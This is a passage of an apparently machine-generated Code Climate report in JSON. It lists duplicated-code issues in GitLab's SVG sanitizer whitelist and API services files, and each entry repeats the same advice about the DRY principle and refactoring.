[Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9473b40c2cb0f7afc9308169cf2dced6","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":97,"end":97}},"remediation_points":1230000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":75,"end":75}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":79,"end":79}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 79**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9473b40c2cb0f7afc9308169cf2dced6","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":35,"end":35}},"remediation_points":1090000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":43,"end":43}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":63,"end":63}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 72**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6149a95705035fa65fb27a491aa16e7d","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":43,"end":43}},"remediation_points":1090000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":35,"end":35}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":63,"end":63}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 72**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6149a95705035fa65fb27a491aa16e7d","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":63,"end":63}},"remediation_points":1090000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":35,"end":35}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":43,"end":43}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 72**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6149a95705035fa65fb27a491aa16e7d","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":49,"end":49}},"remediation_points":1070000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":56,"end":56}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":83,"end":83}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 71**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"123ff3d56c152101a1c911f1a95326be","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":56,"end":56}},"remediation_points":1070000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":49,"end":49}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":83,"end":83}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 71**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"123ff3d56c152101a1c911f1a95326be","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":83,"end":83}},"remediation_points":1070000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":49,"end":49}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":56,"end":56}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 71**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"123ff3d56c152101a1c911f1a95326be","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/services.rb","lines":{"begin":198,"end":227}},"remediation_points":570000,"other_locations":[{"path":"lib/api/services.rb","lines":{"begin":270,"end":299}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 46**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"672d4e588f6155fa74bf7ca34fedabb2","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/services.rb","lines":{"begin":270,"end":299}},"remediation_points":570000,"other_locations":[{"path":"lib/api/services.rb","lines":{"begin":198,"end":227}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 46**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"672d4e588f6155fa74bf7ca34fedabb2","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":101,"end":101}},"remediation_points":1490000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":103,"end":103}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 92**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"633c7fa21c24339ba725403293231a75","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":103,"end":103}},"remediation_points":1490000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":101,"end":101}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 92**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"633c7fa21c24339ba725403293231a75","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":90,"end":90}},"remediation_points":1390000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":102,"end":102}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 87**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"925e4b3663b9cd9937ee7db7f882dfbc","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":102,"end":102}},"remediation_points":1390000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":90,"end":90}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 87**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up 